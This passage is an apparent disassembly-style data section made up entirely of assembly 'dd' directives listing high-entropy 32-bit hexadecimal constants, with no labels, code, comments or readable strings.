		dd 0C2D15D08h, 104B8627h, 9734F85Ah, 0E9704059h, 0A4564BEDh
		dd 87BD4273h, 476A60FAh, 5DB766CFh, 5B582E5Eh, 0BB0F62E3h
		dd 0C48C68DEh, 2BE2CEBh, 21707726h, 1B578868h, 6EABC0EAh
		dd 0E96313D5h, 52918016h, 0C05C3BB2h, 0DA86067Ch, 9008D3F6h
		dd 415C418Dh, 0F480061Fh, 0F02528A3h, 1C32465Ah, 0C48DB652h
		dd 0BE5FC568h, 0D32FD598h, 5E25FC40h, 0C74808CBh, 56789296h
		dd 0A49CE16Bh, 0FDA0AD5Ch, 0F77D01B4h, 99959F4Bh, 8119580h
		dd 5BEC907Ah, 49EB0F21h, 0B9E77085h, 36CBDEDBh,	8B057139h
		dd 0F312ABADh, 680BF4DEh, 35B0D75Eh, 8B2FE34Ah,	460B8261h
		dd 13B6FF19h, 66048490h, 672E685Ah, 0EACA31FBh,	8FF67E35h
		dd 4596503Dh, 0FDE0CC5Bh, 58A2156h, 13674EE5h, 81280EBEh
		dd 0B7BFAF62h, 3A802A4Bh, 0A8BD6B29h, 872608AEh, 13D9C10Eh
		dd 0F609C9FAh, 9DC86677h, 0E94152FBh, 0D3351802h, 62AFD605h
		dd 10C2FA42h, 583508D8h, 0C9BD355Eh, 27DA9E3Ch,	0E16F84B9h
		dd 0CBA82EB3h, 7AEEAFA1h, 92C66D31h, 0CBE8FD9Fh, 9D22AA73h
		dd 0CE7F34D2h, 7E912E7h, 303AC9D6h, 5E8129C9h, 9F7261F9h
		dd 4B4AF13Ch, 0B7408B32h, 91A0FD08h, 0C7C069E1h, 6E4DF12Dh
		dd 10969307h, 7C391334h, 3D804234h, 9583DCAh, 6AB1E923h
		dd 0EE492022h, 75423A75h, 64681238h, 0F53542BDh, 3280A745h
		dd 0E9720A22h, 1062517h, 9E981F64h, 0A32CC304h,	52C7C680h
		dd 686C8439h, 0C1D9F605h, 9233CBA7h, 18E0718Dh,	68EE7231h
		dd 248A08F5h, 165D255Eh, 337D6152h, 2A37FC68h, 0D47B2D8Dh
		dd 5FA61897h, 74B302B9h, 991CF18Ah, 0C7D4FC6Bh,	58AE9961h
		dd 281091C6h, 0F39AB82Eh, 0C8354D00h, 0B775D449h, 361345F8h
		dd 5AB1531h, 0AF7ED2F7h, 35E556CDh, 0B850C380h,	6AF1288Bh
		dd 0A4C1213Eh, 0A6BD48DEh, 2C54BA2Ch, 492B5AE9h, 0E0F70384h
		dd 30164A26h, 408411Eh,	88531DC4h, 7F27FA80h, 3119C614h
		dd 4A528FC3h, 0E2D2F83Ah, 1981C0B8h, 70EAE34h, 87595851h
		dd 0F7CE21F1h, 0E90889D1h, 29F2A303h, 0C4FB267Ch, 3C689D26h
		dd 594C0989h, 85255152h, 0BFD6C87Eh, 4FD6EAD4h,	39B4EC77h
		dd 38AE8BE2h, 20BE0952h, 1F256C12h, 0A098802Dh,	59E95782h
		dd 37C9ACBAh, 0C0350D0Eh, 0F648B82Fh, 0E9DD4B6Dh, 1B9B1A56h
		dd 2610D870h, 8E341224h, 4D32A95h, 99F92BFh, 19C1D758h
		dd 7868D859h, 81AE1C4Dh, 1E0D640Ah, 434F293Ah, 55872DB4h
		dd 0C201FA46h, 4FE78E0Fh, 3E009C69h, 1B0C930h, 955DEEh
		dd 687FB347h, 0E7C9977Ah, 4EAC2848h, 0F4EE3880h, 30F33E41h
		dd 821620ACh, 0F93B7005h, 2E454075h, 4F711050h,	690E7E21h
		dd 0A0373D34h, 22C82B57h, 9FEA0B2Dh, 2899D36h, 38541502h
		dd 3D6CA57h, 9555808h, 0C071D750h, 0A0EADC80h, 6D5A5909h
		dd 86D90504h, 9A33F912h, 40D84C38h, 1C893CEFh, 55C5F5D2h
		dd 0E5F0E961h, 4193CD38h, 0A768564Dh, 49FC237Fh, 58AB5DFEh
		dd 64E98458h, 0C51C16ADh, 75F5394Ch, 6084FAEDh,	88F375B6h
		dd 474A0968h, 0EB5F30AEh, 0C604A694h, 7DF3E9B0h, 5189D6ECh
		dd 3603D9Ch, 5771B825h,	0EE694AF9h, 9AA9212h, 2D50DB77h
		dd 0B7642596h, 0A2BE41D0h, 792E283Ch, 4D8839EEh, 1184BAEh
		dd 351405Ch, 0E3CEF446h, 5F677219h, 0C3D8621Ah,	29E91C3Ch
		dd 1ED52770h, 7A459419h, 93B631F7h, 312F9F6Ch, 45277658h
		dd 85AF3EBh, 829E722Eh,	0F75F0AB0h, 206890DBh, 81038AD9h
		dd 8B3298CBh, 4F32E776h, 94E475F9h, 0C4979D74h,	0B7E7E6B2h
		dd 6D4645B2h, 1435559h,	6145BB53h, 0BEC2716h, 5851B75Bh
		dd 18E2D1C3h, 89B5C870h, 0B7137AEAh, 40BFC52Ah,	4B3F5946h
		dd 5505823h, 0D29A5A06h, 4F6C8438h, 0BDA468FAh,	0C67F3209h
		dd 0F53E830Bh, 29088935h, 5815D82Bh, 7F8908BCh,	0BC11B144h
		dd 502176ECh, 0FE82D14Dh, 0E2C1971Bh, 0C0396D72h, 3A5F581h
		dd 813F5009h, 78480242h, 0E6E956C5h, 52CF2D5h, 7401B6Bh
		dd 0E68FE5Eh, 0B83E5B7Dh, 3CC5A795h, 76B834B0h,	2F380137h
		dd 0BC45522Dh, 0A8A5414Dh, 58E900F0h, 0E6A29F96h, 407539D8h
		dd 2CCB894Fh, 12334859h, 8CBD30Ah, 6A8BFCC1h, 5430888h
		dd 51444D66h, 59A804FFh, 0A829C049h, 56C0172Eh,	853CD9CAh
		dd 0E2C11203h, 9803BA07h, 0FF6BC01Ah, 0DA7DB090h, 4F62B06Ch
		dd 84C7D050h, 1C37512Dh, 0F69076C1h, 5CA37F20h,	3427FB01h
		dd 0F71CFBACh, 2EA6D302h, 75FE2141h, 0C940E71Ah, 8E4FE946h
		dd 21BF9B00h, 0F4110A62h, 0FEBA9ACBh, 5BC65927h, 1DA3C92Fh
		dd 1F282EB8h, 0C7B6A53Ah, 4DA2642h, 97E6FE55h, 0A7DBE986h
		dd 761828A0h, 0C59760F1h, 66513FAh, 16FA825Dh, 741402F1h
		dd 2B62444Ch, 12B0A80h,	0B3B86BEFh, 0F7D32F4Eh,	609748A0h
		dd 93753807h, 0DE8DC10Ch
		dd 0A0B9BA19h, 13F79C0Bh, 0C096C45Ch, 0C5610902h, 22E92D0Ch
		dd 9EE9BF2h, 5271D9Bh, 7D0BE880h, 0D4C15C76h, 0CC94E050h
		dd 4E108538h, 0E3B64B17h, 4826F818h, 2F0B2D59h,	0F04BF139h
		dd 0E10783A1h, 7CF11284h, 507A25E8h, 5B87F4E9h,	0B5EFBD54h
		dd 315127FAh, 6A9B68E2h, 0F253C08Ch, 0B31B181Dh, 575B353Ch
		dd 65D1E917h, 7A7B8721h, 6AE8C001h, 541B94B0h, 26E909D1h
		dd 69366460h, 0D946307Fh, 0EC1CB4CBh, 248A976h,	2EA25B1Ah
		dd 52DFD05Eh, 5D5947E9h, 95CB3B90h, 3B2CD0Fh, 0B93B6ECEh
		dd 0E28FD156h, 245FDB28h, 11B3AEF2h, 5E53B60Ch,	14E2650h
		dd 76974817h, 316557D9h, 0A2CD5096h, 37355ADAh,	65431B79h
		dd 13BA5E9Fh, 0A41221FBh, 94BA052Fh, 0A7D91314h, 1F2F7B63h
		dd 86F21237h, 27395Ah, 194AF1C7h, 7A840F6Eh, 87F35D6Fh
		dd 71944FC8h, 0BEBB35C1h, 109C6711h, 2ED64FEBh,	1EF75934h
		dd 77877F5Bh, 9E0C391Ch, 82D10D3h, 3415D1Eh, 4FE0E2F1h
		dd 9D8DC0E4h, 7E739C01h, 4006CA58h, 0A725E908h,	305D127Ah
		dd 96146896h, 52E1880Eh, 8BB5F16h, 0F5960D68h, 1E08AAFh
		dd 356D93B8h, 0AD3B2917h, 0F80389CCh, 0EB05041Ah, 0B93EF255h
		dd 18921h, 0D060FC88h, 0C22D0012h, 685FB94Ch, 1BB51F53h
		dd 0E1F1CBACh, 6B7F2Fh,	30E3C642h, 0D295895Eh, 0E839506h
		dd 3904366Ch, 7D5E68E0h, 0ADDC16ACh, 15577A89h,	0BACA3F12h
		dd 97584F2Ch, 3A5AFC1Ch, 0AF131817h, 16B4DEFBh,	80E348EDh
		dd 6D3EC205h, 378CC19Dh, 6C68006Eh, 0EAEC975Fh,	38C8B780h
		dd 0C064F625h, 0C64F5EBAh, 6B4CE455h, 4A77E8C4h, 0BDF021F4h
		dd 0A64D77DAh, 8E6809CEh, 990C63Eh, 27530AECh, 766C8B59h
		dd 535A0212h, 4EA6E92Bh, 2AE17949h, 8EC1C764h, 162A3368h
		dd 816C2948h, 532F6998h, 63250175h, 685D0800h, 31575B52h
		dd 89ECB013h, 5E5BDE59h, 0AE52C4DCh, 0AAF42DB2h, 12E9A59Ch
		dd 0D3011FD5h, 34C95198h, 5C209697h, 3E3239AFh,	580B6544h
		dd 66A6DAF8h, 0C07CB501h, 0DDF602EDh, 9517E270h, 48EFF61Bh
		dd 1D812D03h, 0E0C1D858h, 64B4FA03h, 0C0472ADCh, 5732B70Eh
		dd 0CE2D6700h, 16C932Fh, 98A2C8F8h, 65C38002h, 9AFB5D55h
		dd 0E6493344h, 2001D970h, 0C05966E8h, 956F05E0h, 1E111A22h
		dd 4109135Ch, 13C179CAh, 0C3FDA909h, 0E156E181h, 19607F37h
		dd 0E9F8404Fh, 0F42CE869h, 0D6E82D09h, 0B325112Ch, 0AC938677h
		dd 6DDCA0BDh, 32FD2D5Fh, 12C7C085h, 0D2091D08h,	0F64EF02h
		dd 1CD491AEh, 6DA96A17h, 7E57384h, 58E7E120h, 52F75A92h
		dd 4D7F030Fh, 0D131461Bh, 409DA8E4h, 3060FBF5h,	4E4DF68Dh
		dd 2C81B0FDh, 0AD074483h, 69592FC0h, 293E2802h,	44E2B2F1h
		dd 4DDE3F66h, 0DBBDA0FDh, 0B74EF47Eh, 6DF2705Ah, 0BA828900h
		dd 74E9E801h, 25E49287h, 54E10ABh, 8424587Ch, 0E9E1F03Fh
		dd 5E2B2BBDh, 2835E088h, 2CEB128Eh, 0D85F31B8h,	5C172BFCh
		dd 6132A911h, 70128BD2h, 7A6A916Bh, 5E0C9DB4h, 1C3A1C88h
		dd 299049C6h, 0D9F74C40h, 4CBA5200h, 5609825Dh,	3B1D09BEh
		dd 2E577A88h, 2D4961F0h, 92407FAAh, 259809BCh, 807529F9h
		dd 60CF80ABh, 4ED9082h,	6E3678C7h, 25C4BB01h, 2149081Dh
		dd 0E11893CFh, 824DFFDCh, 26A5D530h, 0D356337h,	71C4A13h
		dd 8A7FDEF9h, 17E22E6Bh, 0D43DFA15h, 0B4982BFCh, 34CBC239h
		dd 57027666h, 355312BFh, 6541402Ch, 41C4026Bh, 1EE0820Fh
		dd 890BDFC4h, 84920645h, 3D85815h, 0C78B44E0h, 47FF2109h
		dd 3FF680E7h, 180E4157h, 2316BAE9h, 5C2ED7C1h, 8E623C9Bh
		dd 0EE4FE4FCh, 2B2B61A1h, 0ED7A7FEAh, 7927EC3Bh, 0D937BD99h
		dd 0E9F82903h, 1D6337E1h, 25085978h, 0C0BC5E3Ch, 8BCCEDCEh
		dd 27BEFCE1h, 9556AE54h, 4572F376h, 12579376h, 406EC22Eh
		dd 79AE1B40h, 1212363Eh, 3B54236Bh, 9F315968h, 2F0BC988h
		dd 0F1022ED8h, 28725663h, 0CD82FD89h, 1DCC15CCh, 3B6E5202h
		dd 744EE95Ah, 2BB101CBh, 0CFD2F180h, 53661BD8h,	0D7E846FFh
		dd 61D6EF1Ch, 11D213DFh, 0EBA4B8E8h, 9DEE1412h,	9AF32ACEh
		dd 39685203h, 0AAADA95Ah, 85600FA5h, 30EC4185h,	88B8FEEFh
		dd 1040CC90h, 6C8117B9h, 0E95CEED1h, 0CEE4CEE8h, 2D01FAB4h
		dd 68DD1AC8h, 7077A75h,	0A36C7250h, 3FCAC533h, 0C542E81Bh
		dd 0BACB5456h, 67942C59h, 3F370B07h, 2E7C030h, 294E6D5Bh
		dd 0C52FEh, 0E92052D8h,	41CFAFBCh, 5B68A0C5h, 90D50129h
		dd 76E609BBh, 0D0136EBh, 8F0B37E4h, 2107E1C4h, 353E7BC9h
		dd 815E563Eh, 40140AFh,	1E2A1580h, 0F3A1A011h, 2929585Eh
		dd 7AD9B510h, 74C05298h, 4CA40775h, 9068EC01h, 5E18BF78h
		dd 770D05F2h, 1BD2E972h, 137C6A30h, 0AE395F67h,	9F554A8Ch
		dd 737AB8F6h, 7C7108EDh, 0EDB65204h, 0B25E79A8h, 6F0F85F0h
		dd 9259A755h, 7CD044EAh, 4C0104E3h, 7FC0A6FEh, 37C0985Bh
		dd 9820FCB4h, 0CAC827E2h, 1B1FC345h, 25E052A7h,	1AFFF856h
		dd 0D66332B0h, 256823DEh, 7F270CD2h, 4261CA20h,	7FC62988h
		dd 2F51B4E9h, 2343195Eh, 0D2E96CCEh, 0E6B8B043h, 0F3405050h
		dd 81030FE7h, 658669CFh, 99030C23h, 0E934FB16h,	7ACF95F9h
		dd 56556560h, 5B167668h, 31076FAAh, 750905E8h, 9708BBC7h
		dd 8C726E1h, 0C7832F5Ah, 13057107h, 40212340h, 0DC37C1C3h
		dd 0C3F660B1h, 9DD2124Bh, 0D682DFD9h, 20D284C0h, 4B007B9Dh
		dd 0A95F0462h, 5687840Dh, 1DEE8002h, 34E4A58Fh,	7BB6FF2Fh
		dd 908FF94Eh, 4AE25E9Bh, 7A079FE1h, 0F16F6B6Dh,	0F9D96A08h
		dd 0A8E3B06Bh, 73CC4200h, 44998268h, 7F7695B5h,	0A065E942h
		dd 1155BBADh, 16F7FC28h, 6EBD1D3h, 97C293F9h, 38F8C307h
		dd 87C32174h, 27374CA1h, 0CF44FB00h, 8AFD887Fh,	8B5CEA2Ch
		dd 486EE941h, 0F2F96B45h, 0BDF2327Bh, 3FCE2ADh,	0C1F6F14Bh
		dd 803C54E9h, 7EBC010h,	283FE380h, 70A9DBF6h, 0B2D85F38h
		dd 53F0C112h, 0A17EC8B7h, 0DEA23A39h, 8680D525h, 7918522Dh
		dd 50510113h, 0B089950Eh, 142BE04Eh, 4B9E2B17h,	4AEC7F17h
		dd 194E7D77h, 0C4F32919h, 0F1F70024h, 1BD42068h, 899776F8h
		dd 0ECAFD9EEh, 0CE4A1F6Ah, 13BE0DB4h, 0BC57DE7Bh, 0DA291624h
		dd 300BDC10h, 4E0D0E5Bh, 0A86A585Fh, 8D15851Ch,	12B0164h
		dd 24D6E908h, 0F70929ABh, 0D9FB895Eh, 0C22144C1h, 0F35EB9A4h
		dd 0E93CB50Eh, 48EA5826h, 0B316955Fh, 0E93DFF6Bh, 0DD3E03FCh
		dd 14FF821Fh, 5A577271h, 17AF20A6h, 8852B00Bh, 553912C2h
		dd 0F836A305h, 0CC8605A3h, 0B581C1FEh, 5EF4CB88h, 0ED94B534h
		dd 466A86F8h, 0AC083932h, 2CC326A6h, 3F5B961h, 357F4E04h
		dd 29DA0C65h, 0E90660FCh, 0C24AC44h, 0C0D0840Fh, 5B0CF2B5h
		dd 0DE7D1EF6h, 0A6772C1Bh, 49E2252Eh, 0F8D6080Bh, 7D501503h
		dd 10AEFC33h, 0B55108A4h, 89A7FCB8h, 0B02EB740h, 5555B80h
		dd 0C11BCB68h, 0AC98AECDh, 352D40E8h, 0C2A96707h, 453931EFh
		dd 0C90582C0h, 0CD83163Bh, 0BB1CC6F4h, 668B7EEBh, 0F24075CBh
		dd 0EB716B1h, 6A6FC7DAh, 79C77509h, 12F94CA7h, 9A61B03h
		dd 0BCC9AA44h, 47CB3AE6h, 21D1F217h, 9925C155h,	5885C32Dh
		dd 0F430E6E9h, 25AAECEEh, 0DD201DBAh, 763FD0EAh, 5C010C3Bh
		dd 0CF313AE2h, 0F6ED69D9h, 5968B924h, 0E84A79F5h, 2031F6C6h
		dd 0F6972D8Ch, 0DE97C2B8h, 8C530109h, 12ACA1Bh,	7C83FE45h
		dd 301875B9h, 5D818A58h
		dd 9F47438h, 0F794058Ah, 0F0D6816h, 0E9F038FBh,	93C9BE24h
		dd 0F167046Fh, 2AD644AEh, 5FD7149Ch, 8333A10Dh,	6B890C98h
		dd 0C1E51EEh, 0DCD213E2h, 7F8818C2h, 0E8C0F002h, 0C3022140h
		dd 4847B180h, 8164180h,	53840BC8h, 0B3B54587h, 60450F6h
		dd 0DC8C0FF1h, 91E917EAh, 5605724h, 221F4880h, 0AC115F0Eh
		dd 3B247E2Eh, 529D62AEh, 5A028FCBh, 0CE67917h, 0EE093904h
		dd 0DE4A6AB6h, 0F896FEA9h, 748A5BD9h, 4148A348h, 0CC91724h
		dd 0BA540906h, 0B40251Fh, 2FCA4ADEh, 0CA838275h, 0D887710Dh
		dd 0A4D0880Fh, 0D37920AFh, 27B67297h, 0D70E5157h, 4E6AF853h
		dd 498C2CFFh, 0FBD1224Bh, 316B3196h, 1635E29Bh,	136B02Eh
		dd 42112A1Ch, 736A80E9h, 7BE04900h, 766ED920h, 1382A58h
		dd 11C65B8Fh, 28C10670h, 3A50B111h, 5F505FEDh, 0C139C04Dh
		dd 2B4653CCh, 3361B898h, 96685D16h, 0C47D993Eh,	300DE176h
		dd 1BBE39E9h, 2A02E17Ah, 7D3FD101h, 6820774Eh, 5F07A1EDh
		dd 9BC18944h, 1A823E50h, 227615DAh, 0A3A42077h,	0C0134349h
		dd 577011Ch, 0EA6089A2h, 6B58CA48h, 0BB234CC2h,	100B7911h
		dd 0BF000EC1h, 34CC57DBh, 9ADFE88Ah, 0BF80D0ABh, 74A22F8h
		dd 8EFE6721h, 633D10EEh, 0D660F77Bh, 0F02D2F10h, 3AD99075h
		dd 0A5CC33AFh, 4C763C10h, 90B7160Dh, 84FA230Fh,	4DB49E46h
		dd 9B7E163Eh, 55701F44h, 680CC608h, 70AB2573h, 8EA25192h
		dd 0B1510FC0h, 20CD9A58h, 0E0F0BF87h, 0B0102D05h, 0B3B89936h
		dd 408E5250h, 0EF04C041h, 87C78008h, 0AEDF8C2h,	776F0BE0h
		dd 0AF05DD12h, 0CDE4C215h, 0B438874h, 0F2FE8412h, 7727DE5Dh
		dd 0DE9D0B1Ch, 55AC3AFh, 5638C8FCh, 9C6F58C1h, 0A2505E20h
		dd 44D6CC6h, 0B0E96AC1h, 0B3C8BFDFh, 0CA293D5Ch, 75C204A7h
		dd 8B5F55Eh, 6BDF98ABh,	49EC925Fh, 8F5C81A4h, 0E8B900D5h
		dd 7C3A5815h, 0C983A819h, 5FF193F9h, 0D6318ABBh, 5E55CBF4h
		dd 611CE00Dh, 0FAC1E340h, 3FD3B002h, 0E6404550h, 17331A0Eh
		dd 0C0F6CE52h, 8979646Eh, 14989FF5h, 0D01230BFh, 87F09507h
		dd 0E1FC25E9h, 0FA729455h, 0CB6A4BF3h, 13315DAAh, 62DD1F63h
		dd 8E3D923Eh, 5202D2F8h, 7820D6BAh, 0C570C03Ch,	901A7E3Fh
		dd 63E20C99h, 410C0BB6h, 598A2010h, 10396405h, 5B20C07Ah
		dd 0CB4FD770h, 34480DA8h, 0A138E725h, 1B073B2Dh, 890D639Eh
		dd 413DBEA2h, 0BB694968h, 0F0E2852Dh, 0C2282384h, 13F564A1h
		dd 571EBA86h, 74578C05h, 0B945C2EAh, 0B6DBE00h,	0B5165096h
		dd 0CC4F0910h, 5F74461Dh, 0D67A2B49h, 0A05CC5B8h, 0D367F7B1h
		dd 0DAA082B2h, 90C32957h, 81BF400Dh, 2F6F707h, 0E7620FC0h
		dd 2FE960D9h, 1A1AC14Fh, 785CFE05h, 0B364103Fh,	0CBD85831h
		dd 87BB620Dh, 0C4FF5450h, 39BA1017h, 97E83ACDh,	981FDB00h
		dd 30428F26h, 0A06A0F5h, 419E181h, 0B434D0EAh, 53135229h
		dd 3016E788h, 31340D04h, 197ABD00h, 0B80108E5h,	27076292h
		dd 0E776E829h, 8E76092Dh, 0B94EEF80h, 4A15E92Eh, 521291C0h
		dd 5A514268h, 0EA45E6F7h, 0A92FE182h, 0C046DF57h, 99F5014Fh
		dd 90923D3Dh, 0C932EAB7h, 2748C451h, 0A114174Ch, 20C8D295h
		dd 5F1EF916h, 7965C601h, 6BD4008h, 39031C33h, 67CE17BBh
		dd 0FE258AE9h, 961426B7h, 0B31305EDh, 0F220AE17h, 5D6EA9B9h
		dd 0BE16EB46h, 7B5DA7E8h, 40824875h, 9D330CE9h,	7C6A4690h
		dd 5BBD2A5Bh, 1C820841h, 0ABC2212h, 56608951h, 5E75ABBEh
		dd 41C16E5h, 2809966h, 480C7468h, 93F68352h, 6450A5F3h
		dd 0EC9A11FAh, 688E18B7h, 0EA745C79h, 0F28B02D6h, 4840C644h
		dd 0CBB21102h, 0D497CD92h, 87807AE4h, 1E4507B4h, 0BB6BB31h
		dd 0C682C331h, 9A7DC7E9h, 7822D541h, 10FF4A23h,	6825966Dh
		dd 2077690Bh, 0BD8FC7B9h, 292F26FCh, 0FF7E2DC5h, 4192E90Bh
		dd 0ED2041FAh, 8480588h, 2F92955h, 54E9CFF2h, 0EEE10F2h
		dd 77DA4512h, 391BBB00h, 5C11E88h, 0C3E907EFh, 2830AA48h
		dd 7D1C768Dh, 9D132021h, 0D3C2665Eh, 0CD80F7ECh, 93698ABDh
		dd 0E5816801h, 468F25C7h, 0EDCAF47Ah, 5A743713h, 0D2856A12h
		dd 502CF3AAh, 964FF064h, 0C897EBB3h, 500EB3A9h,	63C6F380h
		dd 98C001EBh, 5D850F06h, 0E93ADFDCh, 27F6732Ah,	0EF54E8FEh
		dd 0F5253659h, 0E981E56Fh, 0BC157AE1h, 0D8A4ECAh, 7A1DC702h
		dd 43614CD9h, 62540251h, 0C2A8296Fh, 18874194h,	90704DE4h
		dd 0E9EC0908h, 7DFA8FB2h, 565A1724h, 599656AFh,	3F9B39D0h
		dd 0CD410FF3h, 24B96B4Fh, 0E7C0AD79h, 28AA71BAh, 0F1501Eh
		dd 78042847h, 525FF889h, 7BA0C69Fh, 22B0C2h, 0D975D725h
		dd 0D170527h, 2D7A3500h, 69EC4F0Bh, 18419021h, 7D13DDE9h
		dd 330649C6h, 0DEF71C9Dh, 0A7A11E10h, 0B2846D22h, 3066804Bh
		dd 5D338C39h, 1D14029h,	0BA6F0CDh, 8BDD8957h, 0F1013CD0h
		dd 0C5120803h, 0FAEE7031h, 0A2118504h, 2CF64A42h, 0EE3DBED2h
		dd 53047B22h, 0AC059268h, 0C1D9DF7Eh, 4DD94710h, 0DE3B4CFEh
		dd 37DFC934h, 0D7881B22h, 16D3F1D5h, 0BBBEC0F9h, 0A0972B7h
		dd 5EBC177h, 17AC7E79h,	68CB9E5Bh, 6644069Fh, 518EB4EEh
		dd 0BEA06FD2h, 6ADE28A6h, 5EFB7E97h, 80C1C076h,	6612A1CFh
		dd 7D005052h, 5BD88892h, 30ED2FB2h, 0E4D49D0h, 0D5F718FEh
		dd 17B10F84h, 0AD55B480h, 71E91347h, 897D13B1h,	853F8E04h
		dd 26C58312h, 2C591A3Fh, 0C61371DAh, 0B9BBFAC0h, 6C122D35h
		dd 719DBFD8h, 0ED556405h, 755D8B15h, 53096DE5h,	63C2DC72h
		dd 0EB93D588h, 96E9350Ch, 170F2032h, 0E4BF3F8Fh, 7F4A89E2h
		dd 0C3C6D180h, 965A5CB0h, 0CB149804h, 0C386874Eh, 31B35763h
		dd 832BBD17h, 0D23AED39h, 28F2CEC8h, 29EDC207h,	82B2139Ah
		dd 6B3D54D7h, 7E0BAFD8h, 56437F49h, 0EC8EC506h,	3F2D008Dh
		dd 1696F6Ah, 70551E8h, 2A68841Ch, 47E1165h, 5B52D1BBh
		dd 0C781EF64h, 4B6E72E9h, 0B00F209Ch, 0F1AE8F6h, 564C45A2h
		dd 0E4F717AFh, 84CEE65h, 81621975h, 0B62A5136h,	0E909612Bh
		dd 0E981B2D6h, 0BD4A41EDh, 6FC2EC6Bh, 55F25582h, 0A5BE8027h
		dd 16BBDC33h, 51068A21h, 6B7EFC50h, 685A1E05h, 50B80A89h
		dd 4338CBC1h, 60787508h, 0F85CCC2Ch, 66F3D222h,	36F2680Bh
		dd 2540439Ah, 0DC0C234Ah, 0B4EBE0Dh, 0E9C60931h, 91646BB5h
		dd 65F1E5BFh, 35CFD091h, 58F84989h, 0C9282D03h,	2C29AAFAh
		dd 10A1479Eh, 0C0AE0407h, 0BB857Eh, 36772D66h, 0F5EA2737h
		dd 3D8D5912h, 0CB00BF89h, 2D4FDBEEh, 0EE0918FEh, 0F7051268h
		dd 2C0CD85Ch, 0E928B80Eh, 5AFBC507h, 0CD614B7Fh, 4ECD2ED4h
		dd 0F82CC843h, 5031AD67h, 40B2BCE8h, 32B55885h,	8BA55C65h
		dd 6F913255h, 47C43046h, 0CF4B0FBDh, 7F33682h, 4E988832h
		dd 815C9B4Ah, 80E0FD1Eh, 134804B5h, 17314F17h, 5EE3AC1Eh
		dd 247F5CE1h, 0F813EBE7h, 4B8CDFAFh, 55BA1390h,	73A20E16h
		dd 35D7A868h, 2216EEF4h, 0F2B0DEE8h, 0CB5B5291h, 0ED8FCA83h
		dd 0FCA90C02h, 0E9934082h, 0E9444F28h, 29508DC5h, 184E6EF8h
		dd 0E5D4B91h, 9A3E74B5h, 0CD2528h, 51EEB978h, 0E0784882h
		dd 0C9266201h, 0EFCA2932h, 6146EFF0h, 0E9D14419h, 2208440h
		dd 75F6974Eh, 0DA25CD83h, 2BF1F850h, 0B7612F62h, 1C91BD09h
		dd 7D126F9Eh, 51049BE9h, 0BF097468h, 0B25B31CAh, 0A0C525FBh
		dd 7B9DE55Fh, 25227B26h, 2AE6B1D4h, 0AC2585B0h,	6BB6C485h
		dd 86C0E457h, 0C01ED5F6h
		dd 19705EDh, 0E281BD43h, 0CED183CCh, 67D9683Ch,	720B3BEAh
		dd 447D05EBh, 0D3654A5Dh, 4129D43Eh, 3428A2C1h,	8E7FA895h
		dd 2B641702h, 4D287F1Eh, 57A22708h, 0DC5CE205h,	0F6DBBE0h
		dd 8108000Ah, 21D62EEBh, 6F5DE9C9h, 0C2C02496h,	49A37425h
		dd 0B5426A02h, 0F6F18000h, 0E9C81628h, 5ECE496Dh, 539154CEh
		dd 0A779E76Bh, 39C4B910h, 0F2E93086h, 0F5EBD3Bh, 273BEE3Dh
		dd 0FE7F029Fh, 53C055C0h, 8380F558h, 81014FE8h,	6DB497Dh
		dd 3DCDE2DEh, 0A0903FFBh, 3CBB4F62h, 997D7FBh, 0EB8873E9h
		dd 7DAD927Eh, 948E3B2h,	9818008h, 8BDCE42Eh, 27FC4612h
		dd 0C656D301h, 5216373h, 9916FDBAh, 2945D22Bh, 0F2C7F7C3h
		dd 626417D8h, 8A0F0204h, 0A0D0CBD3h, 4B6EC0E0h,	0E61CAF6Ch
		dd 5F5EF941h, 6682EDD1h, 7C8316DCh, 4207ABDCh, 5D4BB434h
		dd 40F839E1h, 0CD3201D8h, 0F7810D00h, 4EC304C8h, 0BDFE77E9h
		dd 6817B166h, 0EA9920FAh, 0FCF2C2E9h, 3E6C6074h, 0C1142BCBh
		dd 229A06E1h, 20389801h, 6812B257h, 8C4D55h, 545C4098h
		dd 2860DB9Dh, 6E665C6Dh, 5F99B750h, 786D8F2Ah, 0E12FE541h
		dd 1EEE8743h, 5529F142h, 65F4CA9h, 4C4EF6F4h, 84038F2h
		dd 0DD25EE9h, 0CDF5BA21h, 0E2212029h, 0C669E060h, 0BFF03058h
		dd 56CF5579h, 2F9A06A3h, 9A320260h, 0CACB3FE1h,	1B38680Ah
		dd 36E961ADh, 0CC11B76Ah, 0ADDB83h, 3494B810h, 840D1BA1h
		dd 902C790h, 7D513905h,	937A413Ch, 0E9CCDBCDh, 1271492Ah
		dd 0B35AC109h, 89632502h, 0D0ACDB53h, 0C57CAC04h, 0A830D4BCh
		dd 0CBA5E90Dh, 62A7DCB1h, 0A0638E00h, 0E9659F41h, 9609B795h
		dd 0E126EA84h, 31F92B87h, 912FEA5h, 4A1B2ABFh, 0ED848BEDh
		dd 0F68100F3h, 0A1669E2Dh, 2D6AF5F3h, 5E7A3244h, 71119AB2h
		dd 1EF317D1h, 9B97998h,	54DD7FDFh, 0CE31BDC0h, 0D9884499h
		dd 0DAE9042Bh, 2D57BDDBh, 2C0543Ch, 79D10FFEh, 9E47C22h
		dd 92F20182h, 8FEE8002h, 3E715C5h, 53559F05h, 0D506D261h
		dd 927BDE22h, 0FB4E9FCCh, 4E828F11h, 3420B08Bh,	7895BF4Bh
		dd 0EF83C4AFh, 0FC89C4CDh, 27D0ABE9h, 0BE257998h, 9E0C712Bh
		dd 76D70997h, 0D0E709DFh, 515B259Dh, 0E3025553h, 5F016F49h
		dd 8813658h, 2AA83E59h,	72EA68E3h, 0F9E035A9h, 14C114BAh
		dd 0D3F6CB88h, 0FCCE5761h, 0AA338007h, 76202531h, 64025524h
		dd 534B3500h, 3405368Eh, 0EF0A6170h, 0AE0267F4h, 0BC01983Dh
		dd 116805BDh, 0B2DD455Ah, 1ED5FEFBh, 0ABCDD5AEh, 55DBD18Ah
		dd 38DEFE0h, 12D9B12h, 8002BE1h, 9DB4E95Ah, 0DCCF1DAEh
		dd 398F38F7h, 0D93C5BD8h, 4FAD3D51h, 0EFC5D596h, 61BA7974h
		dd 2056B379h, 5041D7C3h, 5E8468F0h, 93FEFC17h, 42B7E560h
		dd 8FE71D80h, 0C0C5130Fh, 0E9B1519Ch, 0FBCF3037h, 68293462h
		dd 0B778CBC1h, 0DE991D14h, 3FE9C283h, 0EBBD037Bh, 12B66515h
		dd 278BD9h, 0BF64830Fh,	0C4B77A25h, 0C16F63Eh, 21100668h
		dd 22E05D37h, 84D98608h, 69ACC11Eh, 1D182788h, 0C388C648h
